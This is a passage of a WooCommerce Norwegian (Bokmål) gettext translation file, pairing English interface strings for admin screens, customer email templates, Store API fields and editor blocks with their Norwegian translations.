#: includes/admin/helper/class-wc-helper-subscriptions-api.php:248
msgid "The plugin for your subscription couldn't be activated."
msgstr "Utvidelsen for abonnementet kunne ikke aktiveres."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:242
msgid "The plugin for your subscription has been activated."
msgstr "Utvidelsen for abonnementet har blitt aktivert."
#: includes/admin/helper/class-wc-helper-api.php:52
#: includes/admin/helper/class-wc-helper.php:2842
msgid "Authentication failed. Please try again after a few minutes. If the issue persists, disconnect your store from WooCommerce.com and reconnect."
msgstr "Autentisering mislyktes. Forsøk på nytt etter noen minutter. Hvis problemet vedvarer, forsøk å koble butikken din fra WooCommerce.com, for så å koble til på nytt."
#: includes/admin/helper/class-wc-helper-admin.php:250
msgid "API response is missing required elements, or they are in the wrong form."
msgstr "API-responsen mangler påkrevde elementer, eller de er i feil form."
#: includes/admin/helper/class-wc-helper-admin.php:228
msgid "We couldn't find a preview for this product."
msgstr "Vi fant ingen forhåndsvisning for dette produktet."
#: src/Blocks/BlockTypes/EmailContent.php:77
msgid "There was an error rendering the email preview."
msgstr "Det oppstod en feil ved forhåndsvisning av e-post."
#: includes/admin/class-wc-admin.php:251
msgid "There was an error rendering the email preview. This doesn't affect actual email delivery. Please contact the extension author for assistance."
msgstr "Det oppstod en feil i forhåndsvisningen av e-posten. Dette påvirker ikke selve e-postleveransen. Ta kontakt med forfatteren av utvidelsen for å få hjelp."
#: includes/admin/class-wc-admin-dashboard.php:153
msgid "Loading status data..."
msgstr "Laster inn statusdata ..."
#. translators: %d: number of selected products.
#: includes/admin/class-wc-admin-assets.php:436
msgid "Export %d selected"
msgstr "%d: antall valgte produkter."
#: src/Internal/Utilities/FilesystemUtil.php:147
msgid "File path is not a valid upload path."
msgstr "Filstien er ikke en gyldig opplastingssti."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1296
msgid "Unix timestamp representing when the incentive was dismissed."
msgstr "Unix-tidsstempel som angir når insentivet ble avvist."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1282
msgid "The dismissals list for the incentive. Each dismissal entry includes a context and a timestamp. The `all` entry means the incentive was dismissed for all contexts."
msgstr "Listen over avvisningene for insentivet. Hver oppføring inneholder en kontekst og et tidsstempel. Oppføringen «alle» betyr at insentivet ble avvist for alle kontekster."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:18
msgid "Return to shipping"
msgstr "Gå tilbake til frakt"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font size name"
msgid "extra-large"
msgstr "ekstra stor"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font size name"
msgid "large"
msgstr "stor"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font size name"
msgid "medium"
msgstr "middels"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font size name"
msgid "small"
msgstr "liten"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Pacifico"
msgstr "Pacifico"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Permanent Marker"
msgstr "Permanent Marker"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Raleway"
msgstr "Raleway"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Oswald"
msgstr "Oswald"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Source Sans Pro"
msgstr "Source Sans Pro"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Roboto"
msgstr "Roboto"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Playfair Display"
msgstr "Playfair Display"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Open Sans"
msgstr "Open Sans"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Noticia Text"
msgstr "Noticia Text"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Merriweather Sans"
msgstr "Merriweather Sans"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Merriweather"
msgstr "Merriweather"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Lora"
msgstr "Lora"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Lato"
msgstr "Lato"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Arvo"
msgstr "Arvo"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Verdana"
msgstr "Verdana"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Trebuchet MS"
msgstr "Trebuchet MS"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Times New Roman"
msgstr "Times New Roman"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Tahoma"
msgstr "Tahoma"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Lucida"
msgstr "Lucida"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Georgia"
msgstr "Georgia"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Courier New"
msgstr "Courier New"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Comic Sans MS"
msgstr "Comic Sans MS"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Font family name"
msgid "Arial"
msgstr "Arial"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Space size name"
msgid "6"
msgstr "6"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Space size name"
msgid "5"
msgstr "5"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Space size name"
msgid "4"
msgstr "4"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Space size name"
msgid "3"
msgstr "3"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Space size name"
msgid "2"
msgstr "2"
#: packages/email-editor/src/Engine/theme.json
msgctxt "Space size name"
msgid "1"
msgstr "1"
#: assets/client/blocks/product-filter-clear-button/block.json
msgctxt "block keyword"
msgid "clear filters"
msgstr "tøm filtre"
#: assets/client/blocks/product-details/block.json
msgctxt "block description"
msgid "Display a product's description, attributes, and reviews"
msgstr "Vis et produkts beskrivelse, attributter og omtaler."
#: assets/client/blocks/add-to-cart-with-options-grouped-product-selector/block.json
msgctxt "block description"
msgid "Display a group of products that can be added to the cart."
msgstr "Vis en gruppe produkter som kan legges til i handlekurven."
#: assets/client/blocks/add-to-cart-with-options-grouped-product-selector/block.json
msgctxt "block title"
msgid "Grouped Product Selector (Beta)"
msgstr "Gruppert produktvelger (Beta)"
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item/block.json
msgctxt "block description"
msgid "A list item template that represents a child product within the Grouped Product Selector block."
msgstr "En mal for listeelement som representerer et underprodukt i den grupperte produktvelgerblokken."
#: assets/client/blocks/accordion-panel/block.json
msgctxt "block description"
msgid "Accordion Panel"
msgstr "Trekkspillpanel"
#: assets/client/blocks/accordion-panel/block.json
msgctxt "block title"
msgid "Accordion Panel"
msgstr "Trekkspillpanel"
#: assets/client/blocks/accordion-item/block.json
msgctxt "block description"
msgid "A single accordion that displays a header and expandable content."
msgstr "Et enkelt trekkspill som viser en topptekst og innhold som kan utvides."
#: assets/client/blocks/accordion-item/block.json
msgctxt "block title"
msgid "Accordion"
msgstr "Trekkspill"
#: assets/client/blocks/accordion-header/block.json
msgctxt "block description"
msgid "Accordion header."
msgstr "Trekkspilloverskrift."
#: assets/client/blocks/accordion-header/block.json
msgctxt "block title"
msgid "Accordion Header"
msgstr "Trekkspilloverskrift"
#: assets/client/blocks/accordion-group/block.json
msgctxt "block description"
msgid "A group of headers and associated expandable content."
msgstr "En gruppe overskrifter og tilhørende utvidbart innhold."
#: assets/client/blocks/accordion-group/block.json
msgctxt "block title"
msgid "Accordion Group"
msgstr "Trekkspillgruppe"
#. translators: %1$s: Product name. %2$s: Product price
#: src/Blocks/BlockTypes/AddToCartWithOptions/GroupedProductItemSelector.php:135
#: templates/single-product/add-to-cart/grouped.php:79
msgid "Buy one of %1$s for %2$s"
msgstr "Kjøp en av %1$s for %2$s"
#. translators: %1$s: Product name. %2$s: Sale price. %3$s: Regular price
#: src/Blocks/BlockTypes/AddToCartWithOptions/GroupedProductItemSelector.php:127
#: templates/single-product/add-to-cart/grouped.php:71
msgid "Buy one of %1$s on sale for %2$s, original price was %3$s"
msgstr "Kjøp en av %1$s på tilbud for %2$s, opprinnelig pris var %3$s"
#. translators: %1$s: Order ID. %2$s: Order date
#: templates/emails/plain/email-order-details.php:32
msgid "Order #%1$s (%2$s)"
msgstr "Ordrenr. %1$s (%2$s)"
#. translators: %s: Username
#: templates/emails/plain/customer-new-account.php:35
msgid "Username: %s."
msgstr "Brukernavn: %s"
#: templates/emails/block/customer-reset-password.php:53
#: templates/emails/customer-reset-password.php:40
#: templates/emails/plain/customer-reset-password.php:39
msgid "If you didn’t make this request, just ignore this email. If you’d like to proceed, reset your password via the link below:"
msgstr "Hvis du ikke har bedt om dette, kan du ignorere denne e-posten. Hvis du vil fortsette, kan du tilbakestille passordet ditt via lenken nedenfor:"
#. translators: %s: Site title
#: templates/emails/block/customer-refunded-order.php:43
#: templates/emails/customer-pos-refunded-order.php:51
#: templates/emails/customer-refunded-order.php:49
#: templates/emails/plain/customer-pos-refunded-order.php:40
#: templates/emails/plain/customer-refunded-order.php:36
msgid "Your order from %s has been refunded."
msgstr "Ordren din fra %s har blitt refundert."
#. translators: %s: Site title
#: templates/emails/customer-pos-refunded-order.php:48
#: templates/emails/customer-refunded-order.php:46
#: templates/emails/plain/customer-pos-refunded-order.php:37
#: templates/emails/plain/customer-refunded-order.php:33
msgid "Your order from %s has been partially refunded."
msgstr "Ordren din fra %s har blitt delvis refundert."
#: templates/emails/block/customer-on-hold-order.php:38
#: templates/emails/customer-on-hold-order.php:41
#: templates/emails/plain/customer-on-hold-order.php:31
msgid "We’ve received your order and it’s currently on hold until we can confirm your payment has been processed."
msgstr "Vi har mottatt ordren, og den er for øyeblikket satt på vent til vi kan bekrefte at betalingen er behandlet."
#: templates/emails/block/customer-new-account.php:59
#: templates/emails/customer-new-account.php:47
#: templates/emails/plain/customer-new-account.php:37
msgid "You can access your account area to view orders, change your password, and more via the link below:"
msgstr "Du kan få tilgang til kontoområdet for å se ordrer, endre passordet ditt og mer via lenken nedenfor:"
#: templates/emails/block/general-block-email.php:69
#: templates/emails/customer-new-account.php:44
msgid "Set your new password."
msgstr "Angi det nye passordet ditt."
#. translators: %s: Username
#: templates/emails/block/customer-new-account.php:50
#: templates/emails/block/customer-reset-password.php:47
#: templates/emails/customer-new-account.php:41
#: templates/emails/customer-reset-password.php:38
msgid "Username: <b>%s</b>"
msgstr "Brukernavn: <b>%s</b>"
#. translators: %s: Site title
#: templates/emails/block/customer-new-account.php:43
#: templates/emails/customer-new-account.php:38
#: templates/emails/plain/customer-new-account.php:32
msgid "Thanks for creating an account on %s. Here’s a copy of your user details."
msgstr "Takk for at du opprettet en konto på %s. Her er en kopi av brukeropplysningene dine."
#: templates/emails/block/customer-completed-order.php:42
#: templates/emails/block/customer-on-hold-order.php:42
#: templates/emails/block/customer-processing-order.php:42
#: templates/emails/block/customer-refunded-order.php:48
#: templates/emails/customer-completed-order.php:44
#: templates/emails/customer-on-hold-order.php:42
#: templates/emails/customer-processing-order.php:44
#: templates/emails/customer-refunded-order.php:52
#: templates/emails/plain/customer-completed-order.php:32
#: templates/emails/plain/customer-on-hold-order.php:32
#: templates/emails/plain/customer-pos-completed-order.php:35
#: templates/emails/plain/customer-processing-order.php:32
#: templates/emails/plain/customer-refunded-order.php:38
msgid "Here’s a reminder of what you’ve ordered:"
msgstr "Her er en oversikt over hva du har bestilt:"
#: templates/emails/customer-completed-order.php:38
#: templates/emails/customer-failed-order.php:41
#: templates/emails/customer-invoice.php:41
#: templates/emails/customer-note.php:38
#: templates/emails/customer-on-hold-order.php:36
#: templates/emails/customer-processing-order.php:38
#: templates/emails/customer-refunded-order.php:36
msgid "Hi,"
msgstr "Hei,"
#. translators: %s: Customer billing full name
#: templates/emails/admin-new-order.php:35
#: templates/emails/plain/admin-new-order.php:32
msgid "You’ve received a new order from %s:"
msgstr "Du har mottatt en ny ordre fra %s:"
#. translators: %1$s: Order number. %2$s: Customer full name.
#: templates/emails/admin-failed-order.php:37
#: templates/emails/block/admin-failed-order.php:36
#: templates/emails/plain/admin-failed-order.php:32
msgid "Unfortunately, the payment for order #%1$s from %2$s has failed. The order was as follows:"
msgstr "Dessverre mislyktes betalingen for ordrenr. %1$s fra %2$s. Ordren var som følger:"
#. translators: %1$s: Order number. %2$s: Customer full name
#: templates/emails/admin-cancelled-order.php:37
#: templates/emails/block/admin-cancelled-order.php:36
#: templates/emails/plain/admin-cancelled-order.php:32
msgid "We’re getting in touch to let you know that order #%1$s from %2$s has been cancelled."
msgstr "Vi tar kontakt for å informere deg om at ordrenr. %1$s fra %2$s har blitt kansellert."
#: templates/checkout/form-coupon.php:35
msgid "Enter your coupon code"
msgstr "Fyll inn rabattkoden din"
#. translators: %s: Invalid value that was input by the user
#: src/Utilities/NumberUtil.php:184
msgid "%s is not a valid numeric value."
msgstr "%s er ikke en gyldig numerisk verdi."
#. translators: %s: Invalid value that was input by the user
#: src/Utilities/NumberUtil.php:161
msgid "%s is not a valid numeric value: there should be one decimal separator and it has to be after the thousands separator."
msgstr "%s er ikke en gyldig numerisk verdi: Det skal være ett desimalskilletegn, og det må stå etter tusendelsskilletegnet."
#. translators: %1$s: Invalid value that was input by the user, %2$s: thousand
#. separator, %3$s: decimal separator
#: src/Utilities/NumberUtil.php:134
msgid "%1$s is not a valid numeric value. Allowed characters are numbers, the thousand (%2$s), and decimal (%3$s) separators."
msgstr "%1$s er ikke en gyldig numerisk verdi. Tillatte tegn er tall, tusen (%2$s) og desimalseparatorer (%3$s)."
#: src/StoreApi/Schemas/V1/ProductSchema.php:404
msgid "List of grouped product ids."
msgstr "Liste over grupperte produkters id-er."
#: src/StoreApi/Schemas/V1/ProductSchema.php:400
msgid "List of grouped product IDs, if applicable."
msgstr "Liste over grupperte produkters id-er, hvis aktuelt."
#: src/StoreApi/Schemas/V1/ProductSchema.php:285
msgid "Brand link"
msgstr "Merkelenke"
#: src/StoreApi/Schemas/V1/ProductSchema.php:279
msgid "Brand slug"
msgstr "Merkeidentifikator"
#: src/StoreApi/Schemas/V1/ProductSchema.php:273
msgid "Brand name"
msgstr "Merkenavn"
#: src/StoreApi/Schemas/V1/ProductSchema.php:267
msgid "Brand ID"
msgstr "Merke-id"
#: src/StoreApi/Schemas/V1/ProductSchema.php:260
msgid "List of brands, if applicable."
msgstr "Liste over merker, hvis aktuelt."
#: src/StoreApi/Schemas/V1/ProductBrandSchema.php:67
msgid "Brand URL."
msgstr "Merkenettadresse."
#: src/StoreApi/Schemas/V1/ProductBrandSchema.php:61
msgid "Number of reviews for products of this brand."
msgstr "Antall omtaler for produkter av dette merket."
#: src/StoreApi/Schemas/V1/ProductBrandSchema.php:54
msgid "Brand image."
msgstr "Merkebilde."
#: src/StoreApi/Routes/V1/Products.php:351
msgid "Limit result set to products assigned a set of tag IDs or slugs, separated by commas."
msgstr "Begrens resultatet til produkter som er tilordnet et sett med stikkords id-er eller identifikatorer, atskilt med komma."
#: src/StoreApi/Routes/V1/Products.php:340
msgid "Operator to compare product taxonomies terms."
msgstr "Operatør for å sammenligne vilkår for produkttaksonomier."
#: src/StoreApi/Routes/V1/Products.php:332
msgid "Limit result set to products assigned a set of taxonomies IDs or slugs, separated by commas."
msgstr "Begrens resultatet til produkter som er tilordnet et sett med taksonomiers id-er eller identifikatorer, atskilt med komma."
#: src/StoreApi/Routes/V1/Products.php:316
msgid "Operator to compare product brand terms."
msgstr "Operatør for å sammenligne vilkår for produktmerker."
#: src/StoreApi/Routes/V1/Products.php:309
msgid "Limit result set to products assigned a set of brand IDs or slugs, separated by commas."
msgstr "Begrens resultatet til produkter som er tilordnet et sett med merkers id-er eller identifikatorer, atskilt med komma."
#: src/StoreApi/Routes/V1/Products.php:293
msgid "Limit result set to products assigned a set of category IDs or slugs, separated by commas."
msgstr "Begrens resultatet til produkter som er tilordnet et sett med kategoriers id-er eller identifikatorer, atskilt med komma."
#: src/StoreApi/Routes/V1/ProductBrandsById.php:92
msgid "Invalid brand slug."
msgstr "Ugyldig identifikator for merke."
#: src/StoreApi/Routes/V1/ProductBrandsById.php:90
msgid "Invalid brand ID."
msgstr "Ugyldig id for merke."
#: src/StoreApi/Routes/V1/Checkout.php:127
msgid "Order notes."
msgstr "Ordrenotater."
#: src/StoreApi/Routes/V1/Checkout.php:123
msgid "Selected payment method for the order."
msgstr "Valgt betalingsmåte for ordren."
#: src/StoreApi/Routes/V1/Checkout.php:119
msgid "Additional fields related to the order."
msgstr "Ytterligere felter relatert til ordren."
#. translators: %s is an email address.
#: src/Internal/Orders/OrderActionsRestController.php:618
msgid "Billing email updated to %s."
msgstr "E-post for fakturering ble oppdatert til %s."
#: src/Internal/Orders/OrderActionsRestController.php:601
msgid "Order already has a billing email."
msgstr "Ordren har allerede en e-post for fakturering."
#. translators: 1. The name of an email template; 2. Email address; 3.
#. User-agent that requested the action.
#: src/Internal/Orders/OrderActionsRestController.php:504
msgid "Email template \"%1$s\" sent to %2$s, via %3$s."
msgstr "E-postmal \"%1$s\" ble sendt til %2$s, via %3$s."
#. translators: %s is a string ID for an email template.
#: src/Internal/Orders/OrderActionsRestController.php:446
msgid "%s is not a valid template for this order."
msgstr "%s er ikke en gyldig mal for denne ordren."
#: src/Internal/Orders/OrderActionsRestController.php:228
msgid "Order Actions"
msgstr "Ordrehandlinger"
#: src/Internal/Orders/OrderActionsRestController.php:210
msgid "A description of the purpose of the email template."
msgstr "En beskrivelse av formålet for e-postmalen."
#: src/Internal/Orders/OrderActionsRestController.php:205
msgid "The display name of the email template."
msgstr "Visningsnavnet for e-postmalen."
#: src/Internal/Orders/OrderActionsRestController.php:199
msgid "A unique ID string for the email template."
msgstr "En unik id-streng for e-postmalen."
#: src/Internal/Orders/OrderActionsRestController.php:195
msgid "Email Template"
msgstr "E-postmal"
#: src/Internal/Orders/OrderActionsRestController.php:175
msgid "The ID of the template to use for sending the email."
msgstr "Id-en til malen som skal brukes til å sende e-posten."
#: src/Internal/Orders/OrderActionsRestController.php:164
msgid "Whether to update the billing email of the order, even if it already has one."
msgstr "Om e-postadressen for fakturering skal oppdateres på ordren, selv om den allerede har en."
#: src/Internal/Features/FeaturesController.php:492
msgid "Enable the block-based email editor for transactional emails."
msgstr "Slå på blokkbasert e-postredigering for transaksjonelle e-poster."
#: src/Internal/Features/FeaturesController.php:491
msgid "Block Email Editor (alpha)"
msgstr "Blokkbasert e-postredigering (alfa)"
#: src/Internal/Features/FeaturesController.php:471
msgid "Enable blueprint to import and export settings in bulk"
msgstr "Slå på blåkopi for å importere og eksportere innstillinger i bulk"
#: src/Internal/Features/FeaturesController.php:451
msgid "Enable modern email design for transactional emails"
msgstr "Slå på moderne e-postdesign for transaksjonsbaserte e-poster"
#: src/Internal/Features/FeaturesController.php:442
msgid "⚠ Usage tracking must be enabled to use remote logging."
msgstr "⚠ Brukssporing må være aktivert for å kunne bruke ekstern logging."
#. translators: %1$s: opening link tag, %2$s: closing link tag
#: src/Internal/Features/FeaturesController.php:418
msgid "Allow WooCommerce to send error logs and non-sensitive diagnostic data to help improve WooCommerce. This feature requires %1$susage tracking%2$s to be enabled."
msgstr "Tillat WooCommerce å sende feillogger og ikke-sensitive diagnostiske data for å bidra til å forbedre WooCommerce. Denne funksjonen krever at %1$sbrukssporing%2$s er aktivert."
#: src/Internal/EmailEditor/PersonalizationTags/SiteTagsProvider.php:46
msgid "Homepage URL"
msgstr "Nettadresse til hjemmesiden"
#: src/Internal/EmailEditor/PersonalizationTags/SiteTagsProvider.php:30
#: src/Internal/EmailEditor/PersonalizationTags/SiteTagsProvider.php:48
msgid "Site"
msgstr "Netttsted"
#: src/Internal/EmailEditor/PersonalizationTags/SiteTagsProvider.php:28
msgid "Site Title"
msgstr "Nettstedstittel"
#: src/Internal/EmailEditor/EmailTemplates/WooEmailTemplate.php:38
msgid "Basic template for WooCommerce transactional emails used in the email editor"
msgstr "Grunnleggende mal for e-poster for transaksjoner i WooCommerce som brukes i redigeringsprogrammet for e-post."
#: src/Internal/EmailEditor/EmailTemplates/WooEmailTemplate.php:29
msgid "Woo Email Template"
msgstr "E-postmal for Woo"
#. translators: Name of a content pattern used as starting content of an email
#: src/Internal/EmailEditor/EmailPatterns/WooEmailContentPattern.php:89
msgid "Woo Email Content Pattern"
msgstr "Innholdsmønster for e-post for Woo"
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:95
msgid "This tool will generate the necessary Cost of Goods Sold (COGS) related columns in the product meta lookup table, and populate them from existing product data."
msgstr "Dette verktøyet genererer de nødvendige kolonnene for produktkostnader (COGS) i oppslagstabellen for produktmeta, og fyller dem ut fra eksisterende produktdata."
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:94
msgid "This tool will remove the Cost of Goods Sold (COGS) related columns from the product meta lookup table. COGS will continue working (if the feature is enabled) but some functionality will not be available."
msgstr "Dette verktøyet fjerner kolonnene for produktkostnader (COGS) fra oppslagstabellen for produktmeta. COGS vil fortsette å fungere (hvis funksjonen er aktivert), men noen funksjoner vil ikke være tilgjengelige."
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:91
msgid "Create columns"
msgstr "Opprett kolonner"
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:90
msgid "Remove columns"
msgstr "Fjern kolonner"
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:88
msgid "Create COGS columns in the product meta lookup table"
msgstr "Opprett kolonner for produktkostnad i oppslagstabellen for produktmeta"
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:87
msgid "Remove COGS columns from the product meta lookup table"
msgstr "Fjern kolonner for produktkostnad fra oppslagstabellen for produktmeta"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4161
msgid "Accept Direct Debit, ACH Pull, and open banking payments."
msgstr "Godta direktebetaling, ACH-debet og åpne bankbetalinger."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4160
msgid "GoCardless"
msgstr "GoCardless"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4237
msgid "Billie is the leading provider of Buy Now, Pay Later payment methods for B2B stores."
msgstr "Billie er en ledende leverandør av betalingsmåter for kjøp nå, betal senere for B2B-butikker."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4236
msgid "Billie"
msgstr "Billie"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4073
msgid "Accept Cards, Apple Pay, Google Pay, Bizum, PayPal, and many more payment methods in your store."
msgstr "Aksepter kort, Apple Pay, Google Pay, Bizum, PayPal og mange flere betalingsmåter i butikken."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4072
msgid "MONEI"
msgstr "MONEI"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4041
msgid "Effortlessly accept cryptocurrency payments in your store."
msgstr "Aksepter enkelt betalinger med kryptovaluta i butikken."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4009
msgid "A full checkout experience embedded on your site that includes all popular payment methods (Pay Now, Pay Later, Financing, Installments)."
msgstr "En fullstendig kasseopplevelse innebygd på nettstedet, som inkluderer alle populære betalingsmåter (Betal nå, Betal senere, Finansiering, Avbetaling)."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3578
msgid "Accept all popular payment methods for Finnish B2C and B2B customers"
msgstr "Aksepter alle populære betalingsmåter for finske B2C og B2B-kunder"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3577
msgid "Paytrail"
msgstr "Paytrail"
#: src/Internal/Admin/Settings/PaymentsRestController.php:1031
#: src/Internal/Admin/Settings/PaymentsRestController.php:1194
msgid "The URL to attach the suggestion."
msgstr "Nettadressen som skal legges ved forslaget."
#: src/Internal/Admin/Settings/PaymentsRestController.php:1025
#: src/Internal/Admin/Settings/PaymentsRestController.php:1188
msgid "The link to mark the suggestion as attached. This should be called when an extension is installed."
msgstr "Koblingen for å markere forslaget som vedlagt. Dette skal kalles når en utvidelse er installert."
#: src/Internal/Admin/Settings/PaymentsProviders.php:858
msgid "Wallets & Express checkouts"
msgstr "Wallets & Express checkouts"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:142
msgid "Sync your sales data across platforms and manage everything from a unified dashboard."
msgstr "Synkroniser salgsdataene dine på tvers av plattformer, og administrer alt fra et samlet kontrollpanel."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:141
msgid "Multichannel for WooCommerce"
msgstr "Multikanal for WooCommerce"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:475
msgid "Dummy Product Variation"
msgstr "Plassholdervariant"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:454
#: src/Internal/StockNotifications/Factory.php:50
msgid "Dummy Product"
msgstr "Plassholderprodukt"
#: src/Blocks/Templates/VariableProductAddToCartWithOptionsTemplate.php:48
msgid "Template used to display the Add to Cart + Options form for Variable Products."
msgstr "Mal som brukes til å vise skjemaet for «Legg i handlekurv», med alternativer for variable produkter."
#: src/Blocks/Templates/VariableProductAddToCartWithOptionsTemplate.php:39
msgctxt "Template name"
msgid "Variable Product Add to Cart + Options"
msgstr "Variabelt produkts «Legg i handlekurven» med alternativer"
#: src/Blocks/Templates/SimpleProductAddToCartWithOptionsTemplate.php:48
msgid "Template used to display the Add to Cart + Options form for Simple Products."
msgstr "Mal som brukes til å vise skjemaet for «Legg i handlekurv», med alternativer for enkle produkter."
#: src/Blocks/Templates/SimpleProductAddToCartWithOptionsTemplate.php:39
msgctxt "Template name"
msgid "Simple Product Add to Cart + Options"
msgstr "Enkle produkters «Legg i handlekurv» med alternativer"
#: src/Blocks/Templates/GroupedProductAddToCartWithOptionsTemplate.php:48
msgid "Template used to display the Add to Cart + Options form for Grouped Products."
msgstr "Mal som brukes til å vise skjemaet for «Legg i handlekurv», med alternativer for grupperte produkter."
#: src/Blocks/Templates/GroupedProductAddToCartWithOptionsTemplate.php:39
msgctxt "Template name"
msgid "Grouped Product Add to Cart + Options"
msgstr "Grupperte produkters «Legg i handlekurven» med alternativer"
#: src/Blocks/Templates/ExternalProductAddToCartWithOptionsTemplate.php:48
msgid "Template used to display the Add to Cart + Options form for External Products."
msgstr "Mal som brukes til å vise skjemaet for «Legg i handlekurv», med alternativer for eksterne produkter."
#: src/Blocks/Templates/ExternalProductAddToCartWithOptionsTemplate.php:39
msgctxt "Template name"
msgid "External Product Add to Cart + Options"
msgstr "Eksterne produkters «Legg i handlekurven» med alternativer"
#: src/Blocks/Domain/Services/CheckoutFieldsSchema/Validation.php:107
msgid "Invalid field."
msgstr "Ugyldig felt."
#: src/Blocks/Domain/Services/CheckoutFieldsSchema/Validation.php:103
msgid "Validation failed."
msgstr "Validering mislyktes."
#. translators: %s: Error message.
#: src/Blocks/Domain/Services/CheckoutFieldsFrontend.php:277
msgid "An error occurred while saving address details: %s"
msgstr "Det oppstod en feil under lagring av adresseopplysninger: %s"
#. translators: %s: is the field label
#: src/Blocks/Domain/Services/CheckoutFields.php:338
#: src/Blocks/Domain/Services/CheckoutFields.php:908
msgid "Please provide a valid %s"
msgstr "Du må oppgi en gyldig %s"
#: src/Blocks/BlockTemplatesRegistry.php:130
msgid "The Add to Cart + Options templates allow defining a different layout for each product type."
msgstr "Malene for «Legg i handlekurv» med alternativer gjør det mulig å definere en annen utforming for hver produkttype."
#: src/Blocks/BlockTemplatesRegistry.php:129
msgid "Add to Cart + Options"
msgstr "Legg i handlekurv med alternativer"
#. translators: 1: Disconnected user email
#: src/Admin/PluginsHelper.php:1155
msgid "Successfully connected to <b>%s</b>."
msgstr "Vellykket tilkobling til <b>%s</b>."
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:236
#: assets/client/admin/chunks/6568.js:1
msgid "Access discounted shipping rates with USPS, UPS, and DHL."
msgstr "Få tilgang til rabatterte fraktpriser med USPS, UPS og DHL."
#. Translators: %s is the maximum file size in megabytes.
#: src/Admin/Features/Blueprint/RestApi.php:300
msgid "Blueprint step definition size exceeds maximum limit of %s MB"
msgstr "Definisjonstørrelsen for blåkopi-trinn overskrider maksimumsgrensen på %s MB"
#: src/Admin/Features/Blueprint/RestApi.php:119
msgid "The step definition to import"
msgstr "Trinndefinisjonen som skal importeres"
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsTax.php:73
msgid "Includes all settings in WooCommerce | Settings | Tax."
msgstr "Inkluderer alle innstillinger i «WooCommerce | Innstillinger | Avgift»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsShipping.php:110
msgid "Includes all settings in WooCommerce | Settings | Shipping."
msgstr "Inkluderer alle innstillinger i «WooCommerce | Innstillinger | Frakt»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsSiteVisibility.php:60
msgid "Includes all settings in WooCommerce | Settings | Visibility."
msgstr "Inkluderer alle innstillinger i «WooCommerce | Innstillinger | Nettstedsynlighet»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsSiteVisibility.php:51
msgid "Site Visibility"
msgstr "Nettstedsynlighet"
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsProducts.php:43
msgid "Includes all settings in WooCommerce | Settings | Products."
msgstr "Inkluderer alle innstillinger i «WooCommerce | Innstillinger | Produkter»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsIntegrations.php:66
